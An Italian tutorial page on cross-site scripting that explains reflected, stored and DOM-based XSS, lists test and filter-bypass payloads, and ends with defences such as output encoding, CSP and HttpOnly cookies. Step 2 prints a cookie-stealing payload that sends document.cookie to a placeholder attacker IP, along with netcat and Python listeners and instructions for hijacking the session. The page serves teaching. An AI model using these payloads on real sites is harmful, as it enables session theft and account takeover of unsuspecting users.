Home › Web Hacking › XSS

Cross-Site Scripting (XSS)

Iniettare JavaScript che viene eseguito nel browser di altri utenti. Serve a rubare sessioni, fare phishing, agire come la vittima.

Teoria

Se un sito prende il tuo input e lo rimette nella pagina senza sanificarlo, puoi inserire un <script> che il browser eseguirà. La vittima non attacca il server: attacca gli altri utenti (o te stesso in DOM XSS).

TipoDove viveCome colpisce
ReflectedNell'URL/parametro, rimandato subito nella risposta.Mandi un link malevolo alla vittima; scatta quando lo apre.
StoredSalvato nel DB (commento, profilo, messaggio).Colpisce chiunque visiti la pagina. Il più pericoloso.
DOM basedNel JavaScript lato client.Il codice della pagina stessa usa input non sicuro (es. location.hash).

Passo 1 — testare

Prova un payload innocuo in ogni campo/parametro. Se compare l'alert → è vulnerabile:

<script>alert(1)</script>
<img src=x onerror=alert(1)>      # quando i tag script sono filtrati
"><script>alert(1)</script>      # per "uscire" da un attributo HTML

Passo 2 — payload utili (oltre l'alert)

# ruba il cookie di sessione della vittima verso il tuo server
<script>new Image().src="http://TUO_IP/c?"+document.cookie</script>

# in ascolto sulla tua Kali per ricevere il cookie:
nc -lvnp 80
# oppure un web server rapido:
python3 -m http.server 80

Col cookie rubato puoi impostarlo nel tuo browser (DevTools → Application → Cookies) e diventare la vittima senza password.

Passo 3 — bypass dei filtri

Se il sito blocca <script> o parole chiave, si usano varianti:

<svg onload=alert(1)>
<body onload=alert(1)>
<iMg SrC=x OnErRoR=alert(1)>        # case mixing
<a href="javascript:alert(1)">click</a>

Enorme raccolta di payload e bypass: PayloadsAllTheThings — XSS.

Difesa

  • Output encoding contestuale (HTML, attributo, JS): l'input viene mostrato come testo, non eseguito.
  • Content Security Policy (CSP): limita da dove può caricare script.
  • Cookie con flag HttpOnly (JS non può leggerli) e Secure.
  • Sanitizzare l'HTML lato server (es. DOMPurify per contenuto rich).
Sui tuoi libri: XSS Attacks – Cross Site Scripting Exploits and Defense (Grossman); The Web Application Hacker's Handbook cap. XSS. Vedi Risorse.